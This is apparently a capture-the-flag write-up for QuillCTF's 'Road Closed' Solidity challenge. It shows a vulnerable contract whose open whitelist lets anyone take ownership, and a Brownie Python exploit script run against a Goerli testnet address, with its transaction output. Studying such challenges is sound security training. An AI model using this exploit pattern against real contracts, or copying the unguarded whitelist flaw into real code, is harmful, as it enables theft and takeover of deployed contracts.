Road Closed is a Solidity CTF challenge from QuillCTF.
Solution
In this contract, there is only 1 solidity
file. RoadClosed.sol
. Contract is deployed on goerli test network.
To connect with this contract we can run brownie console with goerli network
kaancaglan@pop-os:~/QuillCTF/roadclosed$ brownie console --network goerli
Objective of CTF is
Become the owner of the contract
Change the value of hacked to true
We have to become the owner of the contract and also change the hacked
variable to the true
.
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;
contract RoadClosed {
bool hacked;
address owner;
address pwner;
mapping(address => bool) whitelistedMinters;
function isContract(address addr) public view returns (bool) {
uint size;
assembly {
size := extcodesize(addr)
}
return size > 0;
}
function isOwner() public view returns(bool){
if (msg.sender==owner) {
return true;
}
else return false;
}
constructor() {
owner = msg.sender;
}
function addToWhitelist(address addr) public {
require(msg.sender == addr, "address must be msg.sender");
require(!isContract(addr),"Contracts are not allowed");
whitelistedMinters[addr] = true;
}
function changeOwner(address addr) public {
require(whitelistedMinters[addr], "You are not whitelisted");
require(msg.sender == addr, "address must be msg.sender");
require(addr != address(0), "Zero address");
owner = addr;
}
function pwn(address addr) external payable{
require(!isContract(msg.sender), "Contracts are not allowed");
require(msg.sender == addr, "address must be msg.sender");
require (msg.sender == owner, "Must be owner");
hacked = true;
}
function pwn() external payable {
require(msg.sender == pwner);
hacked = true;
}
function isHacked() public view returns(bool) {
return hacked;
}
}
It can be seen that changeOwner
function is expecting us to be in whitelistedMinters
. So to became owner
first we have to make us whitelisted
. There is also a addToWhitelist
function. Which will allow us to be whitelisted. And that function have only 2 requirement, and none of them is blocking us to be whitelisted user. So we can call that function without any problem. And after that we will be able to call changeOwner
function and right after that since pwn
function is expecting us to be owner
we can directly call it too.
POC
#https://goerli.etherscan.io/address/0xd2372eb76c559586be0745914e9538c17878e812
from brownie import *
from brownie.network.gas.strategies import LinearScalingStrategy
from brownie.network import gas_price, Accounts
from dotenv import load_dotenv
from scripts.setup_general import console
import os
strategy = LinearScalingStrategy("6 gwei", "70 gwei", 1.1)
gas_price(strategy)
load_dotenv()
ATTACKER_PRIVATE_KEY = None
def exploit():
ATTACKER_PRIVATE_KEY = os.getenv('DEFAULT_ATTACKER_PRIVATE_KEY')
_accounts = Accounts()
_accounts.add(ATTACKER_PRIVATE_KEY)
attacker = _accounts[0]
assert attacker.balance() > 0
contr = RoadClosed.at('0xd2372eb76c559586be0745914e9538c17878e812')
console.green("Imported attacker account successfuly.")
contr.addToWhitelist(attacker, {'from': attacker})
contr.changeOwner(attacker, {'from': attacker})
contr.pwn(attacker, {'from': attacker})
console.green("Attacked. IsOwner: " + str(contr.isOwner({'from': attacker})))
console.green("Attacked. IsHacked: " + str(contr.isHacked({'from': attacker})))
You just have to add your goerli account private key into .env file
export DEFAULT_ATTACKER_PRIVATE_KEY=xyz
And the output is
>>> run('poc', 'exploit')
Running 'scripts/poc.py::exploit'...
Imported attacker account successfuly.
Transaction sent: 0xd10470517d1d022a59669220edb1091958259323ddf982178f1f7bcc31af63ab
Gas price: 6.0 gwei Gas limit: 29348 Nonce: 53
RoadClosed.addToWhitelist confirmed Block: 8180549 Gas used: 24492 (83.45%)
Transaction sent: 0xcd133bf3bf9e44aef79c3d94a9ad8dc1d4e0ee9955594f26d6d0e0995a450358
Gas price: 6.0 gwei Gas limit: 31601 Nonce: 54
RoadClosed.changeOwner confirmed Block: 8180550 Gas used: 26541 (83.99%)
Transaction sent: 0x2627c23fedb586c2e910bd6aeb0e8854bebe436380c98d32f49bcc1a31475469
Gas price: 6.0 gwei Gas limit: 29429 Nonce: 55
RoadClosed.pwn confirmed Block: 8180551 Gas used: 24566 (83.48%)
+ Attacked. IsOwner: True
+ Attacked. IsHacked: True
Etherscan value of changeAdmin request can be found here.